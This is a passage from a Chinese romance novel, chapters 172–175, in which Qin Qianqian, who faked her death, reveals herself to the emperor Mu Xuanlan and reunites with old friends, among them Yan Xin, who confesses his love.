彼时，观众可以花高价买下那些东西，秦千千很喜欢去那里长见识。
上上一次他们到京都，那时的秦千千远在千里之外的风陵，又是完美错过。
元德遗憾地点头，“不过老板，这次听说也没有什么新鲜的东西，错过就等下一次吧。”
穆轩岚倒是没怎么听说过，那什么奇闻戏班，这是他第一次听说。不过看千千这么感兴趣，他便问元德为什么不把人追回来？
“那奇闻戏班
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无从追起，他们在固定的时候会现世，可在往常根本找不到他们的踪影。”元德赶忙给穆轩岚解释，秦千千也跟着说了两句。
“是啊，别说你们找不到，有关他们的消息我也拿不到。”
听秦千千这么说，穆轩岚才开始高看他们一眼。没成想，这世上竟还有能瞒过清风酒楼眼线的组织。
“没事，下次他们进京，我陪你……”
云彩突然指着秦千千和穆轩岚大喊：“我知道了！”
秦千千瞪大眼睛，挑眉问她怎么了吗？
得到的更是一声咆哮，云彩的声音太大，以至于穆轩岚赶忙替千千捂住耳朵。
“你们两个居然骗我！你要是有孕在身怎么敢饮酒？！”云彩怒目圆瞪，她拍了下桌子，愤怒地站了起来。
好在是石桌，被他这么一拍，纹丝不动。
穆轩岚和秦千千交换了个眼神，两个人的表情仿佛在说你终于发现了。云彩看了他们这个神情，更是气的不行。
她往后走一步，一边复盘所有的事情，一边走来走去。
冬芸本想上去拦她，却被秦千千叫住。
她了解云彩，正是因为她已然接受了京都的生活，打消了曾经在心头的顾虑，秦千千才敢以这种方式告诉她真相。
而她现在需要的，只是想明白事情的来龙去脉而已。
大家都没有在说话，都安静的等云彩理清来龙去脉。秦千千又夹了两口菜，小声跟穆轩岚议论，今晚的菜真是可口。
穆轩岚看着眼前有恃无恐的人，颇感好笑，他喜欢这么游刃有余的千千。
而那边的云彩也终于理清了一切，比起愤怒，她脸上更多的是迟来的顿悟。
“你……你知道我当时的顾虑是什么？”
秦千千这才起身向她走去，她郑重地点头，把那些本该早早告诉云彩的话，现在告诉她。
“云彩，你跟别人不一样。有些人喜欢承诺，也相信承诺，可你不信。所以当初我哪怕允诺你，你也不会信，你也不会跟我走。”
她拉起云彩的手，轻轻拍了拍。
“所以我现在可以跟你道歉，我确实骗了你，骗你跟我回京。可那是我能向你证明，将来的唯一方式。”她顿了顿，酝酿了两分深情后继续说道：“若是你不接受欺骗，那不管你去天南海北，我都支持你。”
云彩惊诧地抬头看着她，眼中的情愫很是复杂，沉默两秒后，她皱着鼻子，吐槽千千。
“你自己留在这里过好日子，然后要我天南海北的流浪吗？想得美。”
秦千千这才把心放在肚子里，她笑着抱住云彩，云彩也不情不愿地拍了拍她的后背，算是表达自己的感谢。
她就是这样，有些事情是说不出口的。
“谢谢你，千千。”
云彩卯足了劲儿，终于把话说出口。
秦千千环抱着她的双臂，又紧了两分，什么也没说，却也什么都说了。
最大的难题已经解决，穆轩岚更是贴千千贴得紧，之前还有冬芸和云彩，时不时来打搅他们。现如今，穆轩岚的日子过得可算是更如鱼得水了。
172. 他终于学会了放手
这般如鱼得水的日子，转眼就过了两年。
这两年中，南梁朝发生了很多变化。比如，举办了有史以来最盛大的登基仪式；再比如，举国上下最关注的后位之谜，依旧未解……
对于穆轩岚来说，他最大的变化，便是能与秦千千各自为政了。
当然不是放她去重开清风酒楼，而是能在自己处理政事时，安心放千千出府了。
其实这变化，不是穆轩岚发现的，而是被告知的。
近些年，朝中政务繁忙，穆轩岚在宫中的时间越来越长，秦千千闲着无聊，便偷偷跑出府去。
一次、两次、三五次都没有被发现，可总有被发现的时候。
元德第一次发现此事时，吓得三魂七魄几乎离体。
那时的他，正遵循穆轩岚的命令回府中取奏折，其实主要是给老板送点心。那点心，是外邦今日朝拜时进献的。
穆轩岚想千千在府中也是无聊，时常会把手头的东西，差元德送回去，然后再听元德跟他讲，千千在府中干什么。
可这次元德却听人汇报，秦老板带着云彩冬芸出府了。这些年留在府中的人，都看懂了秦千千的地位，谁也不敢拦她，谁也不敢去宫中汇报什么。
于是，大家只能一次又一次，默许这种事情的发生。反正秦千千允诺他们，东窗事发之时，不会让他们有事的。
元德差点当场被气得晕倒，若是殿下知道这事，他一定放下手头所有的事务，当即跑回府中。
可宫中现在正在接见外邦使臣，穆轩岚正是走不开，才让自己回来送点心的……
元德不知道怎么办才好，他从小到大都不会骗穆轩岚，现在突然让他编出谎话去诓骗穆轩岚。借元德十个胆，他也不敢。
正在他左右为难之际，秦千千带着两个丫头回来了。
“老板，您今天是第一次逃出府吗？还是说之前……”元德神情急切，他的语调也快了许多。
秦千千单挑眉尾，择日不如撞日，正好今日替穆轩岚治治病。刚好在街上买了粉糕，于是她当即决定入宫去见穆轩岚。
“元德，等我换身衣服，我与你一同入宫。”
就这样，一辆马车驶入宫中，而且相当不合规制的直接驶入后宫。行至马车不能进入的后宫偏门后，元德掀起轿帘，抬手扶着教中一位穿着普通的宫女下车。
秦千千早就做好了假面，身上的衣服，其实是府中丫鬟的，她借一身过来穿而已。
两个人并排向庆榆殿走去的时候，元德不安地问老板，真的要那么说吗？秦千千莫名其妙的看着他。
“当然，你不要想其他的，照我说的做就是。”
庆榆殿中——
此次来朝拜的国主十分喜欢山水字画，穆轩岚知道先帝在庆榆殿存放的有几幅佳作，便邀请国主前来观赏。
随行的几位大臣，为那位国主讲解着眼前的大师真迹，穆轩岚坐在桌案后，忙里偷闲地想千千在府中干嘛。
殊不知，惊喜正在路上。
元德出现在殿中，他径直朝穆轩岚走去，走到桌案后，停在穆轩岚身边，微微弯腰跟他汇报着什么。
“什么？你说她从府中出去了。”穆轩岚神情突然绷紧，他不可思议地看着元德，呼吸都有些许急促。
面前的大臣和国主都是十分会察言观色之人，他们立马察觉到这里的异样，大臣不敢问，可那国主却爽朗开口，问他怎么了？
“没事，你们先聊，朕去去就来。”穆轩岚那严肃的表情，可昭示着那不像是小事。
能耐住性子跟他们打声招呼，已经是穆轩岚能做到最克制的事情了。他不再顾及那些人脸上的僵硬，转身带元德进了后殿。
正当他铁青着脸问元德怎么回事，而元德头都不敢抬的时候，一旁一直低着头的宫女，扑通一声跪在地上。
穆轩岚强压着怒火，打量着那个人。衣服的纹样是府中的丫鬟，看来是出了事来向自己汇报的。
穆轩岚不想再听她说什么有的没的，他直接厉声开口，但又不想被外面的人听到，于是只能压低嗓音。
“讲。”
短促却微压感极强的一个字，让秦千千和元德都愣住。
元德很是清楚，眼前的人这次是气急了，这次自己和老板开的玩笑太大了。事后，自己还是提早找穆轩岚负荆请罪吧……
秦千千也从未听过他这般的声音。民间其实都说，新皇帝不怒自威，是个自带压迫感的人。
她原本听到这种传闻还觉得很可笑，可现在却让她完全改观了。
还好自己先跪在地上，不然被吓得腿软，再扑通跪到地上，那也太丢人了……
“皇上，奴婢是来给您……”她甚至不敢抬头，生怕被穆轩岚透过眼神看出自己，那样就太没意思了。
虽说穆轩岚现在正在气头上，可秦千千就是玩心大发，也可以说是有恃无恐。反正不管他多生气，秦千千总有办法哄好他。
可不等她说完，穆轩岚便突然单膝跪地，与跪在地上的人平视。
秦千千避之不及，还没来得及再低头躲避他的视线，便被他轻抬着下巴，强迫自己与他对视。
穆轩岚眼中的急切骤然消失，取而代之的是惊喜。
“千千，怎么是你？”这次他依旧是压低声音，但能从话中听出，他愉悦的心情。
看着他喜出望外的样子，秦千千却沮丧地皱了皱鼻子。
“哎呀，你怎么这么快就猜出来了？”她只抱怨了一句，便朝元德招手，让他去拿自己带来的礼物。“喏，我是来给你送礼物的，皇帝陛下。”
看着她朝自己挑眉，穆轩岚心中又诡异地升腾起一种失而复得的感觉。可眼下他来不及细品那么多，赶忙拉千千起来。
“我刚刚还让元德给你送点心，你吃了吗？”
秦千千实诚地摇头，脸上闪过一丝狡猾的笑。穆轩岚熟悉这个表情，每当露出这个表情的时候，那就代表着千千有稳赚不赔的事情要跟自己商量了。
“还没，不过谢谢陛下给我的礼物。”
“几盒糕点而已，你同我还说什么谢……”
秦千千食指轻轻封住他的唇，得意又欣喜地说道：“不是糕点，是准许我外出。”
穆轩岚有些好笑的摇头。他就知道，一定是千
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千稳赚不赔的买卖。
这两年时间里，她从未外出过，也从未提及要外出的事情。穆轩岚自觉心中亏欠他，便将天下有意思的事情都搜罗入府，恨不得一样一样都捧给她看。
这样的日子，穆轩岚过的惬意又愧疚。日子一久，他也不知道自己的心病到底好了没。而秦千千这个草头方大夫，也从来未告诉过他进展如何？
“大夫，你的意思是我的病终于好了吗？”在秦千千面前，他不习惯自称为朕。
看着他有心情调侃自己，秦千千心中更是笃定，这的确是坦白的好时机。
于是，她索性将自己半年前就开始外出的事情告诉穆轩岚。
在他惊讶的眼神中，秦大夫得出结论，其实他的病早就好了。
“日后你若是再不放心，可以派暗卫跟着我的，反正我武功没有她们好，她们一定不会跟丢的。”
就这样，穆轩岚心中的心病终于慢慢缓解了。
在那天过去九个多月后，穆轩岚主动提议，让千千告知曾经的故友，她回来了的消息。
这下轮到秦千千惊讶了。按照她的计划，穆轩岚不会放手的那么快。可没曾想，他的痊愈速度要比自己想象中快得多。
听到秦千千心中的感叹后，穆轩岚轻叹一口气。
“我不能太过自私了，若真是私藏你三年，岂不是显得我像在报复曾经的那三载时光一样？”穆轩岚现在是能笑着提起当初的孤寂岁月了。
秦千千没想到他是这么想的，虽说是玩笑话，她也要正正经经地纠正他。
“不不不，你千万不要勉强自己……”
看着千千焦急地宽慰自己，穆轩岚心中跟灌了蜜一般。不等她说完，他便连连点头。
“我懂的，我都懂。你若是这般心疼我，那能不能满足我一个条件？”
秦千千平时对穆轩岚有求必应，而穆轩岚根本不舍得要求她什么。
可唯有一件事，穆轩岚问了多次，他都没有松口。
他这么一说，秦千千就知道是什么事了。她有些为难地摇了摇头。
嫁给他，做南梁朝的皇后这件事，秦千千总觉得为时尚早。
可穆轩岚问过她多次，究竟什么才是合适的时间？却没有得到过确切的答复。
之前的登基大典，他本想与封后大典一同举办的，可千千不松口，还为此跟他生了场气。
穆轩岚没办法，只得单独举办了登基大典。
当晚秦千千坐在他怀中，笑着喊他“陛下万岁”时，是两人因此冷战后，她跟自己说的第一句话。
“千千，你能告诉我这是为什么吗？我觉得我们之间的历练已经足够了，还是说你想等你主人首肯？那我现在就派人去找她。”
“不不不，是我不想。”秦千千表情十分为难，但她还是说出了这句话。
穆轩岚望着她的眼神，觉得似乎有某种力量在把她割裂开，她的眼中满是痛苦。
他不忍看千千如此痛苦，便轻轻吻上她的眼睛。
“好了，我以后不会再提这个事情了。”
在沉默中，两个人的心都悄悄碎了一片。
173. 故友悉数回归
在秦千千线人的护送下，消息传的飞快。送信的人到璃光海时，自然是遇到谁便把消息先告诉谁。
第一个得知此事的，是要出城行医的王老怪。
听了那人的消息，王老怪只能说，要不是他知道送信的人是芳草阁的亲信，他一定会觉得眼前的人疯了。
死了几年的人，怎么说活就活过来了呢？
再说，他因为此事求证过姜千秋，虽说没亲眼见到阁主，但他收到了阁主的来信。
【芊芊身陨为真，切莫忧思过度，祝好。】
姜千秋从来不会骗人，王老怪对此深信不疑。
可手上拿着秦千千送给他的信，王老怪只能得出一个结论：这是秦千千和阁主计划好的事情。不告诉他们真话，也是计划中的一环。
看他接受良好后，送信的二哥便与他分道扬镳，各自去找另外的人，通知这天大的消息。
王老怪激动到拿不住手中的信，他先把信托付给二哥。
“二哥，你先帮我收着，我们待会儿不管看到谁，先把她们喊去晏信的铺子，到那里我们再看信件吧。”
二哥点头，转身朝秦千千的假坟墓走去。
王老怪清楚，今日的晏信去城外采购货物，自己知道方位，他便借了老乡家的马往那边赶。
今日璃光海，天气晴朗，桃花花像往常一样躺在秦千千的墓前晒太阳，在她死前，桃花花看到坟墓总觉得阴森森的很恐怖。
“可是很奇怪，我第一次看到你墓的时候，就并未觉得可怕。”桃花花嘴里叼着一根草，用舌头抵着草根晃悠，“可是你这人真是小气，怎么一次都不托梦给我？”
原本，秦千千还把清风酒楼的各项事宜托付给桃花花，可自打穆轩岚见了阁主，秦千千也跟着进京后，清风酒楼也被封了、芳草阁的各项事宜也都停了。
桃花花才是真正的无事可做，不过好在晏信开了个杂货铺子，她可以去帮手。
之前铺子生意不好，桃花花有时间跑出来闲逛；现在铺子生意热火朝天，晏信自然又请了几个伙计，桃花花依然有空出来闲逛。
“桃花！”
一道熟悉的声音传来，桃花花鲤鱼打挺般起身，抬起头看向远方。看清来人后，她赶忙从地上爬了起来。
是二哥！
他一定是有什么重要消息，要告诉自己。
“二哥，是阁主有什么吩咐吗？”桃花花上前迎了两步，歪头吐掉嘴里的草根。
饶是在外跑惯了的二哥，也被累得气喘吁吁，没办法，这个墓地在一个山坡的上坡处。为了尽快传达消息，他只能一路跑过来。
在他呼呵喘息，还没缓过来的时候，他就赶忙先把消息告诉桃花花。
“秦老板……没有死，她现在就在京城中，让我喊你们回去。”
与王老怪同样不可思议的表情，再度出现在桃花花的脸上。她的眼睛左右滴溜溜的转着，嘴里喃喃自语着，不可能不可能。
二哥没空跟她解释，他弯腰双手撑着膝盖，大口的喘气。还没等他恢复好，那边的桃花花便高喊了一声。
“二哥别歇了，我们赶紧进京！”
“不不不，秦老板还给你送了一封信，你要在这里看还是回晏信的铺子看？”二哥觉得桃花太冲动，怎么能一拍脑壳就回京？
不得准备一些行李吗？
桃花花有些被扫兴地哦了一声，“那好吧，我们先回铺子里，我都等不及看晏信会有多激动了！”
在桃花花看来，虽说这个消息对每个人来说都是难以置信的，可对其影响最大的，应该还要数晏信了。
而且她知道今早晏信出城去了，自己肯定是先他一步知道的。
二哥不得不打破她的美好幻想，“恐怕你见不到他当时惊诧的表情呢，王老怪已经出城找他去了。”说罢，他无奈地又长出一口气。
桃花花愣了一下，随即摆手表示无所谓，“千千都活了，还管那么多干嘛？走走走，我们快回去看信。”
两人正准备下山，桃花花却停住脚步，回头小跑，把那墓前的几盘供果全都拿走。
“不能浪费粮食嘛，走走走。”
晏信的杂货铺，主要经营的是各种手工制品，沿海的贝壳多，他便搜罗了很多农户家自己做的装饰品，放在店里售卖。
其实那并不是他的本意，最初来璃光海的时候，他是真的想给自己疗伤的，收集那些装饰品，也只是由于千千送过他一串项链。
他便爱屋及乌地开始搜罗各种好看的饰品，本着说不定千千会喜欢的心态越收集越多。
可后来，他父亲在信中质问他，当初明明允诺自己闯出一片天地，可现在却在璃光海一直消沉，他父亲对他说了最重的一句话。
“当初那位启迪你的人，她的话，你一句也没有听到心里去。”
他父亲只知道，一位高人开导晏信，让他儿子重回自己身边。却不知道那人就是秦千千，也正是晏信来璃光海的原因。
自那以后，晏信幡然悔悟，为了留在璃光海，继续陪着千千，他便开始做起这方面的生意。
不过在交易往来中，最上品的货色，他全都留了下来。
方圆几十里的人都知道，晏老板最会做生意，想从他身上占点便宜，简直难如登天。可大家也都知道，在收某种贝壳的时候，晏老板从不讲价。
大家都以为，是因为那种贝壳稀有且不好找，其实真正原因，只有晏信和他的两位朋友知晓。
那贝壳，是当初千千采买项链的原料。
别说桃花花，好奇晏信的反应，策马赶去的王老怪也是好奇的不得了。
他会被吓得腿软，站不住吗？那自己是不是还要扶他一把？又或者，他可能被吓得嘴巴张大到脱臼，正好自己这个神医在这里可以为他医治。
王老怪心中设想了无数个可能会发生的状况，在这个过程中，他的嘴角始终没有下来过。
他赶到老乡家中时，甚至没有空拴好马，直接从马上翻腿跳下，没有停顿，赶忙往院中跑。
“晏信，我有一个大事情要告诉你！”王老怪满脸欣喜，他还故意停顿了一下，“千千没有死，她现在给我们送来信，说要我们回京城。
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”
说罢，王老怪便满脸期待地看向晏信。
他缓缓放下手中的一卷纺纱，眼睛微微瞪大。但除此之外，没有其他多余的表情了。
“哎？你没有听到我说什么吗。”王老怪不可思议的揪着他的袖子晃了晃，难不成欣喜若狂，把这人给吓傻了？
晏信无可奈何笑着说道：“我听到了，等我把这桩生意做完，咱们就回去。”
眼前的妇人，纺纱手艺是远近闻名的好，晏信很是喜欢，因此不管这妇人做了多少，他都高价采购，但从不转手倒卖。
王老怪对他的平淡反应异常不解，但也不能妨碍人家做生意，于是便一步三回头的走出院子。
他和晏信两个人中，一定有人出了问题。是自己太过激动失了智，还是晏信丢了魂？
晏信转身，借着往常的惯例，与那妇人谈论价格。
没了王老怪的窥探，晏信眼中终于露出不可思议的神情，他的手几乎都在发抖。
是真的，她真的回来了。
两人一同回去的路上，晏信还是非常镇定，看的王老怪是抓心挠肝。今天这人到底怎么回事？可不管王老怪怎么问，晏信只摇头，其他什么都不说。
别说王老怪好奇了一路，回去短暂的跟桃花花和二哥碰面后，这两个人也为晏信的态度疑惑起来。
等晏信去跟账房伙计算账时，三个人聚头讨论起来。
“他的表情怎么那么奇怪？难不成几年没想通的事情，他这两日突然想开了，突然就放下了对秦老板的感情吗？”二哥不解地问道。
毕竟，他也只是前两日才从这里离开，那时的晏信，还对秦千千上心的不得了。
“不对呀，这两天他跟往常一样啊，”桃花花皱眉摇头，“前几日，有人花十两银子买他手里的珊瑚手镯，他都不卖的，八成又放到那个房间里了。”
晏信的铺子中，守卫最森严的地方不是账房，而是晏信自己卧房对门的那个房间。那里面放着他为千千搜罗的所有稀罕物件，谁也不准进去，无数奇珍异宝在里面再不见天日。
当然，也包括那个珊瑚手镯。
王老怪看着桌子上的那封信发呆，除了二哥，每个人面前都有一封信——那是秦千千写给每个人的。桃花花的他自己捏在手里，王老怪的他揣在怀里，可晏信的却毫不在意的放在桌子上。
奇怪，真的太奇怪了。
“难不成是什么因爱生恨？突然觉得千千骗了他这么久，所以晏信生气吗？”这是王老怪能想出的，最合理的解释了。
桌边的三个人再度陷入沉默，可三个人没一个敢离去，因为他们害怕万一晏信真不收那封信，他们总要有个人把信收起来。
最终，跟伙计对完账后的晏信归来，拿着那封信回屋了。
“你们两个在这里还有别的事情吗？如果没有的话，我们明日出发。”临走前晏信才想起来问他们。
这倒是让桃花花和王老怪更是好奇，他的表情甚是平淡，可却毅然决然地采取了行动啊……
最终，两个人还是搞不懂他是怎么想的。
174. 重逢但有人甚是疑惑
不知为何，三个人非常默契的没有聊起自己手中信中的内容，平时聚在一起便叽叽喳喳的三人，现在共坐在一辆马车上，却甚是沉默。
晏信闭目养神，王老怪和桃花花正在用眼神交流。很显然，两个人甚至都不知道，对方跟自己说的是不是一件事儿。
一日就这么过去，车夫提醒他们，这是路过的最后一个客栈，问他们要不要在此借宿的时候，晏信缓缓，睁开眼睛打量着一左一右的两个人。
“你们觉得我们要停下来吗？”
“……还是不了吧。”王老怪朝车夫摆摆手，示意他晚上继续赶路。“哪怕晚上走的慢一些，也总归是在接近京都的。”
晏信又准备缓缓合上眼帘，却被王老怪突然叫住，在晏信疑问的眼神中，王老怪不得不承认，自己想跟他聊一聊。
“你为什么对这个消息，反应如此平淡？这是我怎么想都想不通的问题。”忍无可忍后，王老怪还是把自己心中的疑惑问了出来。
谁知那人却浅浅一笑，脸上的表情满是玩味。
“那不如我们打个赌，千千反正什么都知道，那我们进京的第一件事，便问她知不知道我为何是这个反应。”
这下王老怪和桃花花都愣住了，这怎么见千千的第一面，就要跟她杠上吗？
两个人忍不住咋舌，不敢允诺晏信时，那人就无所谓地撇了下嘴。
“无所谓，不管你们问不问，我都会问的。”说罢，他的目光笃定地看着前方，似乎出现在他眼中的不是轿帘，而是那阔别已久的秦千千。
桃花花现在心中惆怅极了，她不知道千千能否提前得知这个消息，要是回答错了，晏信会当场发疯吗？
他若是知道千千跟穆轩岚在一起，甚至已经共度将近三载时光后，才告诉他们自己还活着的消息时……
那个情况桃花花完全不敢设想。
晏信的确对秦千千百依百顺，可那不代表，在经历这么多欺瞒的事情后，他不会生气。桃花花扪心自问，她要是晏信，就得被真相活活气死。
是的，秦千千在给桃花的信中解释了这两年的全部事情。包括她出逃的原因、再度回京后为何没有告诉所有人，以及一项小小的委托——
千千想让自己观察晏信的状况，然后悄悄派人告知她。
背着晏信联系线人倒不是什么难事，桃花花觉得自己还是能做到这个的。可她万万没想到，这一路上晏信催得急，三个人竟然没有在一个客栈落宿过。
桃花花自然没有机会联系线人，眼看明日就要到京都，今日桃花花死活都要在京都外面的客栈借宿。
“不是，反正我们都已经赶了一路了，那不如今日好好休整一番，以更好的面貌去见千千嘛。”桃花花理不直气也壮的说道，王老怪本想开口反驳她。
明明是只剩这点路程，咬牙赶回去算了。他们又不是什么进京朝拜，需要注意仪容仪表，给秦千千留下的第一印象什么的。
他们最重要的，不应该是赶紧与秦千千见面吗？
可在看到桃花花那警示的眼神时，王老怪只能急忙把话咽进肚子里。
晏信坐在窗边，挑开窗帘往外看，他甚至没有注意，旁边两个人之间的暗流涌动。
“不用了，还是早些赶路吧。”
不是商议，更没有转圜的余地。
三个人在翌日过午没多久后，便驾着马车赶进京都。守在城门的元德，身着一身黑色常服，孤身在这里等他们。
“晏公子，你们三个终于到了，主人和老板在府中恭候多时了。”元德朝他们抱拳致意，这就要引他们回府。
晏信只掀起轿帘微微点头，其他什么都没有说。可他心中明白，千千的消息终究还是快过了自己，不然元德怎么会等在这里？
这一路，他一直不停赶路，只是想在心中跟她较个劲，看看自己能否在消息传达之前，便入京给她一个惊喜。
可惜，千千还是千千。阔别江湖几载，手段却依旧不减当年。
越是靠近王府，桃花花就越难抑制住激动的心情，她甚至还跟王老怪讨论，千千会不会在王府门口大摆仪仗，列队欢迎她们。
王老怪无奈地摇头，他也算是在王府住过些时日的人，穆轩岚不喜欢铺张浪费，这他是知道的。
而秦千千现在活着的消息，显然没有昭告江湖，大肆宣传是不可能的了。
“当然不会，甚至你老板有可能都不在门口迎接我们。”
桃花花不赞成地皱了皱鼻子，她张张嘴，好半天只憋出一句：走着瞧。
晏信看着这闹腾的老少二人，脸上久违地露出了一抹微笑。
而最终的结果，也如王老怪预想的那般，甚至更糟糕。
他们下车时，王府的大门甚至都没有开，更别说什么仪仗排场了。
桃花花悄悄在心中给穆轩岚记了一笔：当今的国主竟然比千千还抠门！
元德在前面引着他们入府，与府门隔院相望的前厅，除了四个侍女，也并没有站其他人。
不止桃花花，就连王老怪也忍不住啧啧称奇。往常他来这里的时候，穆轩岚会在前厅门口站着的。今日怎地，他和千千都不见人影？
晏信却神色如常，他跟着元德穿过前厅，走过左转右转的回廊，走了大概两炷香的时间，元德这才侧身跟他们讲。
“老板在雅居上面等着三位，我去差人上菜，你们先上去吧。”说罢，元德便转身离开。
晏信也不再等什么，撩开长袍就拾阶而上，王老怪和桃花花紧跟其后。
毕竟，待会儿要是他们吵起来，这两个人自觉还要负责拉架呢。
“来了。”穆轩岚薄唇轻启，结果却被秦千千手指凌空点了点，无声谴责他。
他听力好，千千早就跟他说了，不要泄密。结果，这人就是反骨天成，非要提前跟她预告一下。
被谴责的人没有丝毫愧疚，他轻挑眉尾，十分得意自己刚刚的所作所为。
近两年他的身体恢复的很好，精气神也全都回来了，偶尔还会主动逗弄秦千千。刚刚就是往日千百个撩拨中，一个小小的例子。
都说近乡情怯，可晏信却不是那种人，与当初得知千千还
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活着时冷静的他相去甚远，晏信没有敲门，直接推开了那两扇工艺精湛的木门。
早有准备的两人自然不会被吓一跳。秦千千惊喜抬眸望着门口站着的三个人，她满脸笑意地从桌边站起来，穆轩岚也跟着悠悠起身。
“各位，好久不见。”她诚挚地说道，身旁的穆轩岚也微微颔首，算是跟她们打了个招呼。
赶回京都的路上，晏信多半时间都在闭目养神，他其实是在想重逢后的第一面会是怎么个情景，自己又当如何面对千千？
或许该质问她，怎么那么狠心，瞒他们这么久；还是要跟她诉说，自己心中的委屈与后怕……
想法无穷无尽，可真当见了她，晏信突然不知道该说什么了。
他只站在门口，呆呆地望着那边的人。他眼睁睁看着千千走过来，张开双臂跟他拥抱。好在此时，晏信回过神来，紧紧把她环入怀中。
旧友重逢自然是开心，可若是两年前的穆轩岚看到此情此景，说不定眼睛都能被气红了。现在的他，已经可以坦然接受这一幕了。
穆轩岚面带笑意，朝后面的人摆摆手，让她们两个先进来。
“桃花，好久不见。”穆轩岚记得当时桃花的样子，几年不进，她确实长高了不少。
桃花花回以礼貌的微笑，但顿时又想起什么，眉头突兀地皱起来。
“你当初可把我们骗惨了，害得我东躲西藏了好久，直到去璃光海前我才知道，你居然就是当时的储君！”
桃花花向来时有什么便说什么，还不等穆轩岚认领当年的错误，她就继续笑着说道：“这下倒好，有皇帝陛下的庇佑，我看谁还敢找我们清风酒楼的麻烦。”
“这话倒是不错。”穆轩岚认可的点头，他转头问候王老怪，“近些年，在外面的营生可好？”
王老怪点了点头，风餐露宿的生活过惯了，现如今有了固定居所，对他来说就已经是神仙般的日子了。
穆轩岚招呼着她们落座，此时的他丝毫没有国主的架子，毕竟眼前的人都是故友。
那边的两个人还抱在一起，穆轩岚听到晏信一句话都没说，而千千却在他的耳边轻声说了一句：恭喜。
穆轩岚心中升起一股疑惑，晏信明明憔悴的不行，千千要恭喜他什么？察觉到自己还有不知道的事情，穆轩岚心想，今晚上有事干了。
那边的晏信终于理智回笼松开了手，分开怀抱后，他依然用恋恋不舍的眼神看着秦千千。
“你终于回来了。”他满是感慨地说道。
那边的桃花花和王老怪对视一眼，心中都在感叹，他这个反应才对嘛，之前那奇奇怪怪的，都快把她们吓坏了。
“是啊，你也回来了。”穆轩岚出现在秦千千身边，替她回复晏信的那句话。
秦千千被逗笑，她轻拍穆轩岚的胸膛，而后跟晏信说道：“来日方长，今夜先吃饭，别的事情我们以后慢慢谈。”
若说刚刚，穆轩岚心中只是有那么一丝疑惑，那现在他心中可是好奇极了。
别的事情，她们两个之间，还有自己不知道的事情吗？
175. 夜宴后的谈话
今天晚上的人格外齐，不止曾经的旧友到齐了，姗姗来迟的冬芸和云彩，也来找她们吃饭。
秦千千给她们互相介绍之后，众人便开始饮酒交谈，亦如当初她们一同巡商时的日子。
酒桌之上，众人皆闭口不谈那曾经的痛苦时光。所有人都知道重逢之日，不是谈那个的时候。
而秦千千也一如惯例，滴酒未沾。
王老怪看到酒就走不动路，眼下正好穆轩岚和元德陪他一同饮酒。那边的桃花花，也很快跟冬芸和云彩打成一片，三个人有说有笑，聊得开心极了。
转眼已是深夜，虽说宴席在阁楼之中，但夜色已凉，每个人的周身还是裹挟了一股凉意。
几位舟车劳顿赶来的人，更是疲惫不堪。秦千千趁机提议，让她们早些回去休息，穆轩岚一招手，侍女便为每个人都送来一条披风。
三个女孩穿上披风便一同离去，千千早就安排好让她们三个住在一起。送走她们后，元德也扶着王老怪离开。
站在晏信身后端着木托盘的侍女，却低头不敢说话，好像在跟托盘中的披风较劲。
秦千千知道，他不是在跟披风较劲，而是在跟自己较劲。刚刚的宴席上，他一句话都没跟自己说。
那不代表他对自己无话可说。相反，秦千千知道他有很多话跟自己说，只不过他需要跟自己单独谈话而已。
穆轩岚今日心情畅快，喝了不少的酒。
此时，他正端坐在桌边一言不发，眼中映着烛火跃动的光，用这熠熠生辉的眼睛就那么直勾勾地盯着秦千千。
他知道，只要自己用这个眼神看向她，她就无法拒绝自己的任何要求。
哪怕眼前坐着生着闷气的晏信，他也笃信，千千会先来安抚自己。
是的，穆轩岚的确越发觉得，自己有孩童般争强好胜的心性。这是某次自己妒忌她跟别人相处时间长后，千千评价他的话，现在想来甚是有理。
他就是看不得千千跟别人亲近，虽说现在是两人有愧于晏信，可穆轩岚依旧理直气壮地看不得，她要先去哄晏信。
看着千千绕过晏信身后，朝自己走来，穆轩岚心中这才畅快一些。
“你明日还要上早朝，我先送你回去休息。”
他其实没有醉到走不了路的程度，可既然千千主动提议了，那穆轩岚就只好“顺水推舟”地点头。
“晏信，你在这里等我片刻，我待会儿便来找你。”
秦千千并未落座，她侧身后撤一步，拿过托盘里的披风，给丫鬟使了个眼色，让她离去后，这才把披风盖在晏信的肩膀上。
“嗯。”晏信只轻声回了一个字，便没再说话，他的眼睛一直盯着手中把玩的酒杯。
穆轩岚被她扶着起身，他熟练地用手环住千千的肩膀，由着她带自己离去。
好在傍山雅居，离她们的寝殿不远，没一会儿便走到了。
把人安置在床上时，秦千千没空帮他更衣，只能抬手先帮他解了发冠。穆轩岚故作东倒西歪的模样，秦千千担心他碰到头，便只能托着他后颈，慢慢放他躺下。
机不可失！
刹那间，穆轩岚双手环上她的腰，把她也带到了床上。
“我醉了，你快些同我一起睡觉吧。”这是他醉酒后，千千经常跟他说的一句话。
穆轩岚哪怕不这么说，秦千千也知道他的心事。
她趴在穆轩岚胸口浅浅笑着：“好好好，我尽量早些跟他谈完，然后回来陪你睡觉昂。”
两个人现在非常懂彼此，也不愿意让对方为难。穆轩岚又紧抱了她两秒后，才松手放她离去。
秦千千去而复返时，发觉晏信还在看着手中的杯子，便有些好笑地跟他开口搭话。
“很喜欢这个杯子吗？那我差人送你……”
“我喜欢你。”晏信放下手中的杯子，目光灼灼地看着她。那眼神中似乎有一把火，隔空烧的她脸颊微烫。
她没想到，晏信跟自己谈的第一件事，会是这个。
只不过这驴唇不对马嘴的话，还是让她疑惑。但来不及等她仔细思考个中缘由，晏信便把话她讲的清清楚楚。
“我很喜欢你，所以不敢看你，刚刚的宴席之上，我也不敢同你说话。”晏信在穆轩岚不在的时候，才敢抬眸看向秦千千。
“所以，你不要误会，以为我在生你的气。”
再度重逢，晏信不愿意让自己留下任何遗憾的可能，他的每一句话都要说得清清楚楚。
秦千千鼻子微酸，她关上身后的门，朝晏信走去。她一边走，一边说话，满脸的遗憾也昭示着，她的心中也备受煎熬。
“语言太过苍白，可我还是要跟你说一句对不起，当初的那个决定。改变了刚刚在座所有人的一生，所以你哪怕真的恨我，那也是很正常的。”
她坐在晏信身边，轻声细语地跟他说着。
晏信从未见过那么温柔的她，因此看向她的目光越发留恋，其中还夹杂着说不清的怀念。
现在想来，五年时光，他真不知道自己是怎么熬过来的。
这个开场的话题起的太过沉重，晏信原本只是想表明自己的心意，没有想到让千千为此道歉。
他为自己斟上一杯酒，一饮而尽后决定换个话题。
“你那么做，一定有你的道理，而我相信那是你当时能做出最好的选择。”
